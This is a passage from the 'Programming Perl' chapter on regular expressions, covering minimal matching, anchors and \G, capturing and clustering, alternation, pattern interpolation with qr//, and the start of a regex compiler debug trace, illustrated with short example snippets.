the .* matches "xasperat", the longest possible string for it to match. (It also stores that value in $1, as described in the section Section 5.7, "Capturing and Clustering" later in the chapter.) Although a shorter match was available, a greedy match doesn't care. Given two choices at the same starting point, it always returns the longer of the two.

Contrast this with this:

"exasperate" =~ /e(.*?)e/   #  $1 now "xasp"
Here, the minimal matching version, .*?, is used. Adding the ? to * makes *? take on the opposite behavior: now given two choices at the same starting point, it always returns the shorter of the two.

Although you could read *? as saying to match zero or more of something but preferring zero, that doesn't mean it will always match zero characters. If it did so here, for example, and left $1 set to "", then the second "e" wouldn't be found, since it doesn't immediately follow the first one.

You might also wonder why, in minimally matching /e(.*?)e/, Perl didn't stick "rat" into $1. After all, "rat" also falls between two e's, and is shorter than "xasp". In Perl, the minimal/maximal choice applies only when selecting the shortest or longest from among several matches that all have the same starting point. If two possible matches exist, but these start at different offsets in the string, then their lengths don't matter--nor does it matter whether you've used a minimal quantifier or a maximal one. The earliest of several valid matches always wins out over all latecomers. It's only when multiple possible matches start at the same point that you use minimal or maximal matching to break the tie. If the starting points differ, there's no tie to break. Perl's matching is normally leftmost longest; with minimal matching, it becomes leftmost shortest. But the "leftmost" part never varies and is the dominant criterion.[7]

[7] Not all regex engines work this way. Some believe in overall greed, in which the longest match always wins, even if it shows up later. Perl isn't that way. You might say that eagerness holds priority over greed (or thrift). For a more formal discussion of this principle and many others, see the section Section 5.9.4, "The Little Engine That /Could(n't)?/".

There are two ways to defeat the leftward leanings of the pattern matcher. First, you can use an earlier greedy quantifier (typically .*) to try to slurp earlier parts of the string. In searching for a match for a greedy quantifier, it tries for the longest match first, which effectively searches the rest of the string right-to-left:

"exasperate" =~ /.*e(.*?)e/   #  $1 now "rat"
But be careful with that, since the overall match now includes the entire string up to that point.

The second way to defeat leftmostness to use positional assertions, discussed in the next section.

Previous | Home | Next
5.4. Character Classes | Book Index | 5.6. Positions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Positions (Programming Perl)

 Book Home Programming PerlSearch this book

5.6. Positions

Some regex constructs represent positions in the string to be matched, which is a location just to the left or right of a real character. These metasymbols are examples of zero-width assertions because they do not correspond to actual characters in the string. We often just call them "assertions". (They're also known as "anchors" because they tie some part of the pattern to a particular position.)

You can always manipulate positions in a string without using patterns. The built-in substr function lets you extract and assign to substrings, measured from the beginning of the string, the end of the string, or from a particular numeric offset. This might be all you need if you were working with fixed-length records, for instance. Patterns are only necessary when a numeric offset isn't sufficient. But most of the time, offsets aren't sufficient--at least, not sufficiently convenient, compared to patterns.

5.6.1. Beginnings: The \A and ^ Assertions

The \A assertion matches only at the beginning of the string, no matter what. However, the ^ assertion is the traditional beginning-of-line assertion as well as a beginning-of-string assertion. Therefore, if the pattern uses the /m modifier[8] and the string has embedded newlines, ^ also matches anywhere inside the string immediately following a newline character:

/\Abar/      # Matches "bar" and "barstool"
/^bar/       # Matches "bar" and "barstool"
/^bar/m      # Matches "bar" and "barstool" and "sand\nbar"
Used in conjunction with /g, the /m modifier lets ^ match many times in the same string:
s/^\s+//gm;             # Trim leading whitespace on each line
$total++ while /^./mg;  # Count nonblank lines

[8] Or you've set the deprecated $* variable to 1 and you're not overriding $* with the /s modifier.

5.6.2. Endings: The \z, \Z, and $ Assertions

The \z metasymbol matches at the end of the string, no matter what's inside. \Z matches right before the newline at the end of the string if there is a newline, or at the end if there isn't. The $ metacharacter usually means the same as \Z. However, if the /m modifier was specified and the string has embedded newlines, then $ can also match anywhere inside the string right in front of a newline:

/bot\z/      # Matches "robot"
/bot\Z/      # Matches "robot" and "abbot\n"
/bot$/       # Matches "robot" and "abbot\n"
/bot$/m      # Matches "robot" and "abbot\n" and "robot\nrules"

/^robot$/    # Matches "robot" and "robot\n"
/^robot$/m   # Matches "robot" and "robot\n" and "this\nrobot\n"
/\Arobot\Z/  # Matches "robot" and "robot\n"
/\Arobot\z/  # Matches only "robot" -- but why didn't you use eq?
As with ^, the /m modifier lets $ match many times in the same string when used with /g. (These examples assume that you've read a multiline record into $_, perhaps by setting $/ to "" before reading.)
s/\s*$//gm;   # Trim trailing whitespace on each line in paragraph

while (/^([^:]+):\s*(.*)/gm ) {  # get mail header
    $headers{$1} = $2;
}
In "Variable Interpolation" later in this chapter, we'll discuss how you can interpolate variables into patterns: if $foo is "bc", then /a$foo/ is equivalent to /abc/. Here, the $ does not match the end of the string. For a $ to match the end of the string, it must be at the end of the pattern or immediately be followed by a vertical bar or closing parenthesis.

5.6.3. Boundaries: The \b and \B Assertions

The \b assertion matches at any word boundary, defined as the position between a \w character and a \W character, in either order. If the order is \W\w, it's a beginning-of-word boundary, and if the order is \w\W, it's an end-of-word boundary. (The ends of the string count as \W characters here.) The \B assertion matches any position that is not a word boundary, that is, the middle of either \w\w or \W\W.

/\bis\b/   # matches "what it is" and "that is it"
/\Bis\B/   # matches "thistle" and "artist"
/\bis\B/   # matches "istanbul" and "so--isn't that butter?"
/\Bis\b/   # matches "confutatis" and "metropolis near you"
Because \W includes all punctuation characters (except the underscore), there are \b boundaries in the middle of strings like "isn't", "booktech@oreilly.com", "M.I.T.", and "key/value".

Inside a character class ([\b]), a \b represents a backspace rather than a word boundary.

5.6.4. Progressive Matching

When used with the /g modifier, the pos function allows you to read or set the offset where the next progressive match will start:

$burglar = "Bilbo Baggins";
while ($burglar =~ /b/gi) {
    printf "Found a B at %d\n", pos($burglar)-1;
}
(We subtract one from the position because that was the length of the string we were looking for, and pos is always the position just past the match.)

The code above prints:

Found a B at 0
Found a B at 3
Found a B at 6
After a failure, the match position normally resets back to the start. If you also apply the /c (for "continue") modifier, then when the /g runs out, the failed match doesn't reset the position pointer. This lets you continue your search past that point without starting over at the very beginning.
$burglar = "Bilbo Baggins";
while ($burglar =~ /b/gci) {        # ADD /c
    printf "Found a B at %d\n", pos($burglar)-1;
}
while ($burglar =~ /i/gi) {
    printf "Found an I at %d\n", pos($burglar)-1;
}
Besides the three B's it found earlier, Perl now reports finding an i at position 10. Without the /c, the second loop's match would have restarted from the beginning and found another i at position 6 first.

5.6.5. Where You Left Off: The \G Assertion

Whenever you start thinking in terms of the pos function, it's tempting to start carving your string up with substr, but this is rarely the right thing to do. More often, if you started with pattern matching, you should continue with pattern matching. However, if you're looking for a positional assertion, you're probably looking for \G.

The \G assertion represents within the pattern the same point that pos represents outside of it. When you're progressively matching a string with the /g modifier (or you've used the pos function to directly select the starting point), you can use \G to specify the position just after the previous match. That is, it matches the location immediately before whatever character would be identified by pos. This allows you to remember where you left off:

($recipe = <<'DISH') =~ s/^\s+//gm;
    Preheat oven to 451 deg. fahrenheit.
    Mix 1 ml. dilithium with 3 oz. NaCl and
    stir in 4 anchovies.  Glaze with 1 g.
    mercury.  Heat for 4 hours and let cool
    for 3 seconds.  Serves 10 aliens.
DISH

$recipe =~ /\d+ /g;
$recipe =~ /\G(\w+)/;           # $1 is now "deg"
$recipe =~ /\d+ /g;
$recipe =~ /\G(\w+)/;           # $1 is now "ml"
$recipe =~ /\d+ /g;
$recipe =~ /\G(\w+)/;           # $1 is now "oz"
The \G metasymbol is often used in a loop, as we demonstrate in our next example. We "pause" after every digit sequence, and at that position, we test whether there's an abbreviation. If so, we grab the next two words. Otherwise, we just grab the next word:
pos($recipe) = 0;                 # Just to be safe, reset \G to 0
while ( $recipe =~ /(\d+) /g ) {
    my $amount = $1;
    if ($recipe =~ / \G (\w{0,3}) \. \s+ (\w+) /x) {  # abbrev. + word
        print "$amount $1 of $2\n";
    } else {
        $recipe =~ / \G (\w+) /x;                     # just a word
        print "$amount $1\n";
    }
}
That produces:
451 deg of fahrenheit
1 ml of dilithium
3 oz of NaCl
4 anchovies
1 g of mercury
4 hours
3 seconds
10 aliens

Previous | Home | Next
5.5. Quantifiers | Book Index | 5.7. Capturing and Clustering
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Capturing and Clustering (Programming Perl)

 Book Home Programming PerlSearch this book

5.7. Capturing and Clustering

Patterns allow you to group portions of your pattern together into subpatterns and to remember the strings matched by those subpatterns. We call the first behavior clustering and the second one capturing.

5.7.1. Capturing

To capture a substring for later use, put parentheses around the subpattern that matches it. The first pair of parentheses stores its substring in $1, the second pair in $2, and so on. You may use as many parentheses as you like; Perl just keeps defining more numbered variables for you to represent these captured strings.

Some examples:

/(\d)(\d)/  # Match two digits, capturing them into $1 and $2
/(\d+)/     # Match one or more digits, capturing them all into $1
/(\d)+/     # Match a digit one or more times, capturing the last into $1
Note the difference between the second and third patterns. The second form is usually what you want. The third form does not create multiple variables for multiple digits. Parentheses are numbered when the pattern is compiled, not when it is matched.

Captured strings are often called backreferences because they refer back to parts of the captured text. There are actually two ways to get at these backreferences. The numbered variables you've seen are how you get at backreferences outside of a pattern, but inside the pattern, that doesn't work. You have to use \1, \2, etc.[9] So to find doubled words like "the the" or "had had", you might use this pattern:

/\b(\w+) \1\b/i
But most often, you'll be using the $1 form, because you'll usually apply a pattern and then do something with the substrings. Suppose you have some text (a mail header) that looks like this:
From: gnat@perl.com
To: camelot@oreilly.com
Date: Mon, 17 Jul 2000 09:00:00 -1000
Subject: Eye of the needle
and you want to construct a hash that maps the text before each colon to the text afterward. If you were looping through this text line by line (say, because you were reading it from a file) you could do that as follows:
while (<>) {
    /^(.*?): (.*)$/;    # Pre-colon text into $1, post-colon into $2
    $fields{$1} = $2;
}
Like $`, $&, and $', these numbered variables are dynamically scoped through the end of the enclosing block or eval string, or to the next successful pattern match, whichever comes first. You can use them in the righthand side (the replacement part) of a substitute, too:
s/^(\S+) (\S+)/$2 $1/;  # Swap first two words
Groupings can nest, and when they do, the groupings are counted by the location of the left parenthesis. So given the string "Primula Brandybuck", the pattern:

[9] You can't use $1 for a backreference within the pattern because that would already have been interpolated as an ordinary variable back when the regex was compiled. So we use the traditional \1 backreference notation inside patterns. For two- and three-digit backreference numbers, there is some ambiguity with octal character notation, but that is neatly solved by considering how many captured patterns are available. For instance, if Perl sees a \11 metasymbol, it's equivalent to $11 only if there are at least 11 substrings captured earlier in the pattern. Otherwise, it's equivalent to \011, that is, a tab character.

/^((\w+) (\w+))$/

would capture "Primula Brandybuck" into $1, "Primula" into $2, and "Brandybuck" into $3. This is depicted in Figure 5-1.

Figure 5.1. Creating backreferences with parentheses

Patterns with captures are often used in list context to populate a list of values, since the pattern is smart enough to return the captured substrings as a list:

($first, $last)        =  /^(\w+) (\w+)$/;
($full, $first, $last) =  /^((\w+) (\w+))$/;
With the /g modifier, a pattern can return multiple substrings from multiple matches, all in one list. Suppose you had the mail header we saw earlier all in one string (in $_, say). You could do the same thing as our line-by-line loop, but with one statement:
%fields = /^(.*?): (.*)$/gm;
The pattern matches four times, and each time it matches, it finds two substrings. The /gm match returns all of these as a flat list of eight strings, which the list assignment to %fields will conveniently interpret as four key/value pairs, thus restoring harmony to the universe.

Several other special variables deal with text captured in pattern matches. $& contains the entire matched string, $` everything to the left of the match, $' everything to the right. $+ contains the contents of the last backreference.

$_ = "Speak, <EM>friend</EM>, and enter.";
m[ (<.*?>) (.*?) (</.*?>) ]x;     # A tag, then chars, then an end tag
print "prematch: $`\n";           # Speak,
print "match: $&\n";              # <EM>friend</EM>
print "postmatch: $'\n";          # , and enter.
print "lastmatch: $+\n";          # </EM>
For more explanation of these magical Elvish variables (and for a way to write them in English), see Chapter 28, "Special Names".

The @- (@LAST_MATCH_START) array holds the offsets of the beginnings of any submatches, and @+ (@LAST_MATCH_END) holds the offsets of the ends:

#!/usr/bin/perl
$alphabet = "abcdefghijklmnopqrstuvwxyz";
$alphabet =~ /(hi).*(stu)/;

print "The entire match began at $-[0] and ended at $+[0]\n";
print "The first  match began at $-[1] and ended at $+[1]\n";
print "The second match began at $-[2] and ended at $+[2]\n";

If you really want to match a literal parenthesis character instead of having it interpreted as a metacharacter, backslash it:

/\(e.g., .*?\)/
This matches a parenthesized example (e.g., this statement). But since dot is a wildcard, this also matches any parenthetical statement with the first letter e and third letter g (ergo, this statement too).

5.7.2. Clustering

Bare parentheses both cluster and capture. But sometimes you don't want that. Sometimes you just want to group portions of the pattern without creating a backreference. You can use an extended form of parentheses to suppress capturing: the (?:PATTERN) notation will cluster without capturing.

There are at least three reasons you might want to cluster without capturing:

  1. To quantify something.

  2. To limit the scope of interior alternation; for example, /^cat|cow|dog$/ needs to be /^(?:cat|cow|dog)$/ so that the cat doesn't run away with the ^.

  3. To limit the scope of an embedded pattern modifier to a particular subpattern, such as in /foo(?-i:Case_Matters)bar/i. (See the next section, Section 5.7.3, "Cloistered Pattern Modifiers")

In addition, it's more efficient to suppress the capture of something you're not going to use. On the minus side, the notation is a little noisier, visually speaking.

In a pattern, a left parenthesis immediately followed by a question mark denotes a regex extension. The current regular expression bestiary is relatively fixed--we don't dare create a new metacharacter, for fear of breaking old Perl programs. Instead, the extension syntax is used to add new features to the bestiary.

In the remainder of the chapter, we'll see many more regex extensions, all of which cluster without capturing, as well as doing something else. The (?:PATTERN) extension is just special in that it does nothing else. So if you say:

@fields = split(/\b(?:a|b|c)\b/)
it's like:
@fields = split(/\b(a|b|c)\b/)
but doesn't spit out extra fields. (The split operator is a bit like m//g in that it will emit extra fields for all the captured substrings within the pattern. Ordinarily, split only returns what it didn't match. For more on split see Chapter 29, "Functions".)

5.7.3. Cloistered Pattern Modifiers

You may cloister the /i, /m, /s, and /x modifiers within a portion of your pattern by inserting them (without the slash) between the ? and : of the clustering notation. If you say:

/Harry (?i:s) Truman/
it matches both "Harry S Truman" and "Harry s Truman", whereas:
/Harry (?x: [A-Z] \.? \s )?Truman/
matches both "Harry S Truman" and "Harry S. Truman", as well as "Harry Truman", and:
/Harry (?ix: [A-Z] \.? \s )?Truman/
matches all five, by combining the /i and /x modifiers within the cloister.

You can also subtract modifiers from a cloister with a minus sign:

/Harry (?x-i: [A-Z] \.? \s )?Truman/i
This matches any capitalization of the name--but if the middle initial is provided, it must be capitalized, since the /i applied to the overall pattern is suspended inside the cloister.

By omitting the colon and PATTERN, you can export modifier settings to an outer cluster, turning it into a cloister. That is, you can selectively turn modifiers on and off for the cluster one level outside the modifiers' parentheses, like so:

/(?i)foo/            # Equivalent to /foo/i
/foo((?-i)bar)/i     # "bar" must be lower case
/foo((?x-i) bar)/    # Enables /x and disables /i for "bar"
Note that the second and third examples create backreferences. If that wasn't what you wanted, then you should have been using (?-i:bar) and (?x-i: bar), respectively.

Setting modifiers on a portion of your pattern is particularly useful when you want "." to match newlines in part of your pattern but not in the rest of it. Setting /s on the whole pattern doesn't help you there.

Previous | Home | Next
5.6. Positions | Book Index | 5.8. Alternation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Alternation (Programming Perl)

 Book Home Programming PerlSearch this book

5.8. Alternation

Inside a pattern or subpattern, use the | metacharacter to specify a set of possibilities, any one of which could match. For instance:

/Gandalf|Saruman|Radagast/
matches Gandalf or Saruman or Radagast. The alternation extends only as far as the innermost enclosing parentheses (whether capturing or not):
/prob|n|r|l|ate/    # Match prob, n, r, l, or ate
/pro(b|n|r|l)ate/   # Match probate, pronate, prorate, or prolate
/pro(?:b|n|r|l)ate/ # Match probate, pronate, prorate, or prolate
The second and third forms match the same strings, but the second form captures the variant character in $1 and the third form does not.

At any given position, the Engine tries to match the first alternative, and then the second, and so on. The relative length of the alternatives does not matter, which means that in this pattern:

/(Sam|Samwise)/
$1 will never be set to Samwise no matter what string it's matched against, because Sam will always match first. When you have overlapping matches like this, put the longer ones at the beginning.

But the ordering of the alternatives only matters at a given position. The outer loop of the Engine does left-to-right matching, so the following always matches the first Sam:

"'Sam I am,' said Samwise" =~ /(Samwise|Sam)/;   # $1 eq "Sam"
But you can force right-to-left scanning by making use of greedy quantifiers, as discussed earlier in "Quantifiers":
"'Sam I am,' said Samwise" =~ /.*(Samwise|Sam)/; # $1 eq "Samwise"
You can defeat any left-to-right (or right-to-left) matching by including any of the various positional assertions we saw earlier, such as \G, ^, and $. Here we anchor the pattern to the end of the string:
"'Sam I am,' said Samwise" =~ /(Samwise|Sam)$/;  # $1 eq "Samwise"
That example factors the $ out of the alternation (since we already had a handy pair of parentheses to put it after), but in the absence of parentheses you can also distribute the assertions to any or all of the individual alternatives, depending on how you want them to match. This little program displays lines that begin with either a __DATA__ or __END__ token:
#!/usr/bin/perl
while (<>) {
    print if /^__DATA__|^__END__/;
}
But be careful with that. Remember that the first and last alternatives (before the first | and after the last one) tend to gobble up the other elements of the regular expression on either side, out to the ends of the expression, unless there are enclosing parentheses. A common mistake is to ask for:
/^cat|dog|cow$/
when you really mean:
/^(cat|dog|cow)$/
The first matches "cat" at the beginning of the string, or "dog" anywhere, or "cow" at the end of the string. The second matches any string consisting solely of "cat" or "dog" or "cow". It also captures $1, which you may not want. You can also say:
/^cat$|^dog$|^cow$/
We'll show you another solution later.

An alternative can be empty, in which case it always matches.

/com(pound|)/;      # Matches "compound" or "com"
/com(pound(s|)|)/;  # Matches "compounds", "compound", or "com"
This is much like using the ? quantifier, which matches 0 times or 1 time:
/com(pound)?/;      # Matches "compound" or "com"
/com(pound(s?))?/;  # Matches "compounds", "compound", or "com"
/com(pounds?)?/;    # Same, but doesn't use $2
There is one difference, though. When you apply the ? to a subpattern that captures into a numbered variable, that variable will be undefined if there's no string to go there. If you used an empty alternative, it would still be false, but would be a defined null string instead.

Previous | Home | Next
5.7. Capturing and Clustering | Book Index | 5.9. Staying in Control
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Staying in Control (Programming Perl)

 Book Home Programming PerlSearch this book

5.9. Staying in Control

As any good manager knows, you shouldn't micromanage your employees. Just tell them what you want, and let them figure out the best way of doing it. Similarly, it's often best to think of a regular expression as a kind of specification: "Here's what I want; go find a string that fits the bill."

On the other hand, the best managers also understand the job their employees are trying to do. The same is true of pattern matching in Perl. The more thoroughly you understand of how Perl goes about the task of matching any particular pattern, the more wisely you'll be able to make use of Perl's pattern matching capabilities.

One of the most important things to understand about Perl's pattern-matching is when not to use it.

5.9.1. Letting Perl Do the Work

When people of a certain temperament first learn regular expressions, they're often tempted to see everything as a problem in pattern matching. And while that may even be true in the larger sense, pattern matching is about more than just evaluating regular expressions. It's partly about looking for your car keys where you dropped them, not just under the streetlamp where you can see better. In real life, we all know that it's a lot more efficient to look in the right places than the wrong ones.

Similarly, you should use Perl's control flow to decide which patterns to execute, and which ones to skip. A regular expression is pretty smart, but it's smart like a horse. It can get distracted if it sees too much at once. So sometimes you have to put blinders onto it. For example, you'll recall our earlier example of alternation:

/Gandalf|Saruman|Radagast/
That works as advertised, but not as well as it might, because it searches every position in the string for every name before it moves on to the next position. Astute readers of The Lord of the Rings will recall that, of the three wizards named above, Gandalf is mentioned much more frequently than Saruman, and Saruman is mentioned much more frequently than Radagast. So it's generally more efficient to use Perl's logical operators to do the alternation:
/Gandalf/ || /Saruman/ || /Radagast/
This is yet another way of defeating the "leftmost" policy of the Engine. It only searches for Saruman if Gandalf was nowhere to be seen. And it only searches for Radagast if Saruman is also absent.

Not only does this change the order in which things are searched, but it sometimes allows the regular expression optimizer to work better. It's generally easier to optimize searching for a single string than for several strings simultaneously. Similarly, anchored searches can often be optimized if they're not too complicated.

You don't have to limit your control of the control flow to the || operator. Often you can control things at the statement level. You should always think about weeding out the common cases first. Suppose you're writing a loop to process a configuration file. Many configuration files are mostly comments. It's often best to discard comments and blank lines early before doing any heavy-duty processing, even if the heavy duty processing would throw out the comments and blank lines in the course of things:

while (<CONF>) {
    next if /^#/;
    next if /^\s*(#|$)/;
    chomp;
    munchabunch($_);
}
Even if you're not trying to be efficient, you often need to alternate ordinary Perl expressions with regular expressions simply because you want to take some action that is not possible (or very difficult) from within the regular expression, such as printing things out. Here's a useful number classifier:
warn "has nondigits"        if     /\D/;
warn "not a natural number" unless /^\d+$/;             # rejects -3
warn "not an integer"       unless /^-?\d+$/;           # rejects +3
warn "not an integer"       unless /^[+-]?\d+$/;
warn "not a decimal number" unless /^-?\d+\.?\d*$/;     # rejects .2
warn "not a decimal number" unless /^-?(?:\d+(?:\.\d*)?|\.\d+)$/;
warn "not a C float"
       unless /^([+-]?)(?=\d|\.\d)\d*(\.\d*)?([Ee]([+-]?\d+))?$/;
We could stretch this section out a lot longer, but really, that sort of thing is what this whole book is about. You'll see many more examples of the interplay of Perl code and pattern matching as we go along. In particular, see the later section Section 5.10.3, "Programmatic Patterns". (It's okay to read the intervening material first, of course.)

5.9.2. Variable Interpolation

Using Perl's control flow mechanisms to control regular expression matching has its limits. The main difficulty is that it's an "all or nothing" approach; either you run the pattern, or you don't. Sometimes you know the general outlines of the pattern you want, but you'd like to have the capability of parameterizing it. Variable interpolation provides that capability, much like parameterizing a subroutine lets you have more influence over its behavior than just deciding whether to call it or not. (More about subroutines in the next chapter).

One nice use of interpolation is to provide a little abstraction, along with a little readability. With regular expressions you may certainly write things concisely:

if ($num =~ /^[-+]?\d+\.?\d*$/) { ... }
But what you mean is more apparent when you write:
$sign = '[-+]?';
$digits = '\d+';
$decimal = '\.?';
$more_digits = '\d*';
$number = "$sign$digits$decimal$more_digits";
...
if ($num =~ /^$number$/o) { ... }
We'll cover this use of interpolation more under "Generated patterns" later in this chapter. We'll just point out that we used the /o modifier to suppress recompilation because we don't expect $number to change its value over the course of the program.

Another cute trick is to turn your tests inside out and use the variable string to pattern-match against a set of known strings:

chomp($answer = <STDIN>);
if    ("SEND"  =~ /^\Q$answer/i) { print "Action is send\n"  }
elsif ("STOP"  =~ /^\Q$answer/i) { print "Action is stop\n"  }
elsif ("ABORT" =~ /^\Q$answer/i) { print "Action is abort\n" }
elsif ("LIST"  =~ /^\Q$answer/i) { print "Action is list\n"  }
elsif ("EDIT"  =~ /^\Q$answer/i) { print "Action is edit\n"  }
This lets your user perform the "send" action by typing any of S, SE, SEN, or SEND (in any mixture of upper- and lowercase). To "stop", they'd have to type at least ST (or St, or sT, or st).

5.9.2.1. When backslashes happen

When you think of double-quote interpolation, you usually think of both variable and backslash interpolation. But as we mentioned earlier, for regular expressions there are two passes, and the interpolation pass defers most of the backslash interpretation to the regular expression parser (which we discuss later). Ordinarily, you don't notice the difference, because Perl takes pains to hide the difference. (One sequence that's obviously different is the \b metasymbol, which turns into a word boundary assertion--outside of character classes, anyway. Inside a character class where assertions make no sense, it reverts to being a backspace, as it is normally.)

It's actually fairly important that the regex parser handle the backslashes. Suppose you're searching for tab characters in a pattern with a /x modifier:

($col1, $col2) = /(.*?) \t+ (.*?)/x;
If Perl didn't defer the interpretation of \t to the regex parser, the \t would have turned into whitespace, which the regex parser would have ignorantly ignored because of the /x. But Perl is not so ignoble, or tricky.

You can trick yourself though. Suppose you abstracted out the column separator, like this:

$colsep = "\t+";                         # (double quotes)
($col1, $col2) = /(.*?) $colsep (.*?)/x;
Now you've just blown it, because the \t turns into a real tab before it gets to the regex parser, which will think you said /(.*?)+(.*?)/ after it discards the whitespace. Oops. To fix, avoid /x, or use single quotes. Or better, use qr//. (See the next section.)

The only double-quote escapes that are processed as such are the six translation escapes: \U, \u, \L, \l, \Q, and \E. If you ever look into the inner workings of the Perl regular expression compiler, you'll find code for handling escapes like \t for tab, \n for newline, and so on. But you won't find code for those six translation escapes. (We only listed them in Table 5-7 because people expect to find them there.) If you somehow manage to sneak any of them into the pattern without going through double-quotish evaluation, they won't be recognized.

How could they find their way in? Well, you can defeat interpolation by using single quotes as your pattern delimiter. In m'...', qr'...', and s'...'...', the single quotes suppress variable interpolation and the processing of translation escapes, just as they would in a single-quoted string. Saying m'\ufrodo' won't find a capitalized version of poor frodo. However, since the "normal" backslash characters aren't really processed on that level anyway, m'\t\d' still matches a real tab followed by any digit.

Another way to defeat interpolation is through interpolation itself. If you say:

$var = '\U';
/${var}frodo/;
poor frodo remains uncapitalized. Perl won't redo the interpolation pass for you just because you interpolated something that looks like it might want to be reinterpolated. You can't expect that to work any more than you'd expect this double interpolation to work:
$hobbit = 'Frodo';
$var = '$hobbit';           # (single quotes)
/$var/;                     # means m'$hobbit', not m'Frodo'.

Here's another example that shows how most backslashes are interpreted by the regex parser, not by variable interpolation. Imagine you have a simple little grep-style program written in Perl:[10]

#!/usr/bin/perl
$pattern = shift;
while (<>) {
    print if /$pattern/o;
}
If you name that program pgrep and call it this way:
% pgrep '\t\d' *.c
then you'll find that it prints out all lines of all your C source files in which a digit follows a tab. You didn't have to do anything special to get Perl to realize that \t was a tab. If Perl's patterns were just double-quote interpolated, you would have; fortunately, they aren't. They're recognized directly by the regex parser.

[10] If you didn't know what a grep program was before, you will now. No system should be without grep--we believe grep is the most useful small program ever invented. (It logically follows that we don't believe Perl is a small program.)

The real grep program has a -i switch that turns off case-sensitive matching. You don't have to add such a switch to your pgrep program; it can already handle that without modification. You just pass it a slightly fancier pattern, with an embedded /i modifier:

% pgrep '(?i)ring' LotR*.pod
That now searches for any of "Ring", "ring", "RING", and so on. You don't see this feature too much in literal patterns, since you can always just write /ring/i. But for patterns passed in on the command line, in web search forms, or embedded in configuration files, it can be a lifesaver. (Speaking of rings.)

5.9.2.2. The qr// quote regex operator

Variables that interpolate into patterns necessarily do so at run time, not compile time. This slows down execution because Perl has to check whether you've changed the contents of the variable; if so, it would have to recompile the regular expression. As mentioned in "Pattern-Matching Operators", if you promise never to change the pattern, you can use the /o option to interpolate and compile only once:

print if /$pattern/o;
Although that works fine in our pgrep program, in the general case, it doesn't. Imagine you have a slew of patterns, and you want to match each of them in a loop, perhaps like this:
foreach $item (@data) {
    foreach $pat (@patterns) {
        if ($item =~ /$pat/) { ... }
    }
}
You couldn't write /$pat/o because the meaning of $pat varies each time through the inner loop.

The solution to this is the qr/PATTERN/imosx operator. This operator quotes--and compiles--its PATTERN as a regular expression. PATTERN is interpolated the same way as in m/PATTERN/. If ' is used as the delimiter, no interpolation of variables (or the six translation escapes) is done. The operator returns a Perl value that may be used instead of the equivalent literal in a corresponding pattern match or substitute. For example:

$regex = qr/my.STRING/is;
s/$regex/something else/;
is equivalent to:
s/my.STRING/something else/is;
So for our nested loop problem above, preprocess your pattern first using a separate loop:
@regexes = ();
foreach $pat (@patterns) {
    push @regexes, qr/$pat/;
}
Or all at once using Perl's map operator:
@regexes = map { qr/$_/ } @patterns;
And then change the loop to use those precompiled regexes:
foreach $item (@data) {
    foreach $re (@regexes) {
        if ($item =~ /$re/) { ... }
    }
}
Now when you run the match, Perl doesn't have to create a compiled regular expression on each if test, because it sees that it already has one.

The result of a qr// may even be interpolated into a larger match, as though it were a simple string:

$regex = qr/$pattern/;
$string =~ /foo${regex}bar/;   # interpolate into larger patterns
This time, Perl does recompile the pattern, but you could always chain several qr// operators together into one.

The reason this works is because the qr// operator returns a special kind of object that has a stringification overload as described in Chapter 13, "Overloading". If you print out the return value, you'll see the equivalent string:

$re = qr/my.STRING/is;
print $re;                  # prints (?si-xm:my.STRING)
The /s and /i modifiers were enabled in the pattern because they were supplied to qr//. The /x and /m, however, are disabled because they were not.

Any time you interpolate strings of unknown provenance into a pattern, you should be prepared to handle any exceptions thrown by the regex compiler, in case someone fed you a string containing untamable beasties:

$re = qr/$pat/is;                      # might escape and eat you
$re = eval { qr/$pat/is } || warn ...  # caught it in an outer cage
For more on the eval operator, see Chapter 29, "Functions".

5.9.3. The Regex Compiler

After the variable interpolation pass has had its way with the string, the regex parser finally gets a shot at trying to understand your regular expression. There's not actually a great deal that can go wrong at this point, apart from messing up the parentheses, or using a sequence of metacharacters that doesn't mean anything. The parser does a recursive-descent analysis of your regular expression and, if it parses, turns it into a form suitable for interpretation by the Engine (see the next section). Most of the interesting stuff that goes on in the parser involves optimizing your regular expression to run as fast as possible. We're not going to explain that part. It's a trade secret. (Rumors that looking at the regular expression code will drive you insane are greatly exaggerated. We hope.)

But you might like to know what the parser actually thought of your regular expression, and if you ask it politely, it will tell you. By saying use re "debug", you can examine how the regex parser processes your pattern. (You can also see the same information by using the -Dr command-line switch, which is available to you if your Perl was compiled with the -DDEBUGGING flag during installation.)

#!/usr/bin/perl
use re "debug";
"Smeagol" =~ /^Sm(.*)g[aeiou]l$/;
The output is below. You can see that prior to execution Perl compiles the regex and assigns meaning to the components of the pattern: BOL for the beginning of line (^), REG_ANY for the dot, and so on:
Compiling REx `^Sm(.*)g[aeiou]l$'
size 24 first at 2
rarest char l at 0
rarest char S at 0
   1: BOL(2)
   2: EXACT <Sm>(4)
   4: OPEN1(6)
   6:   STAR(8)
   7:     REG_ANY(0)
   8: CLOSE1(10)
  10: EXACT <g>(12)
  12: ANYOF[aeiou](21)
  21: EXACT <l>(23)
  23: EOL(24)
  24: END(0)
anchored `Sm' at 0 floating `l'$ at 4..2147483647
     (checking anchored) anchored(BOL) minlen 5
Omitting $` $& $' support.
Some of the lines summarize the conclusions of the regex optimizer. It knows that the string must start with "Sm", and that therefore there's no reason to do the ordinary left-to-right scan. It knows that the string must end with an "l", so it can reject out of hand any string that doesn't. It knows that the string must be at least five characters long, so it can ignore any string shorter than that right off the bat. It also knows what the rarest character in each constant string is, which can help in searching "studied" strings. (See study in Chapter 29, "Functions".)

It then goes on to trace how it executes the pattern:

EXECUTING...

Guessing start of match, REx `^Sm(.*)g[aeiou]l$' against `Smeagol'...
Guessed: match at offset 0
Matching REx `^Sm(.*)g[aeiou]l$' against `Smeagol'
  Setting an EVAL scope, savestack=3
   0 <> <Smeagol>         |  1:  BOL
   0 <> <Smeagol>         |  2:  EXACT <Sm>
   2 <Sm> <eagol>         |  4:  OPEN1
   2 <Sm> <eagol>         |  6:  STAR
                           REG_ANY can match 5 times out of 32767...
  Setting an EVAL scope, savestack=3
   7 <Smeagol> <>         |  8:    CLOSE1
   7 <Smeagol> <>         | 10:    EXACT <g>
                              failed...
   6 <Smeago> <l>         |  8:    CLOSE1
   6 <Smeago> <l>         | 10:    EXACT <g>
                              failed...
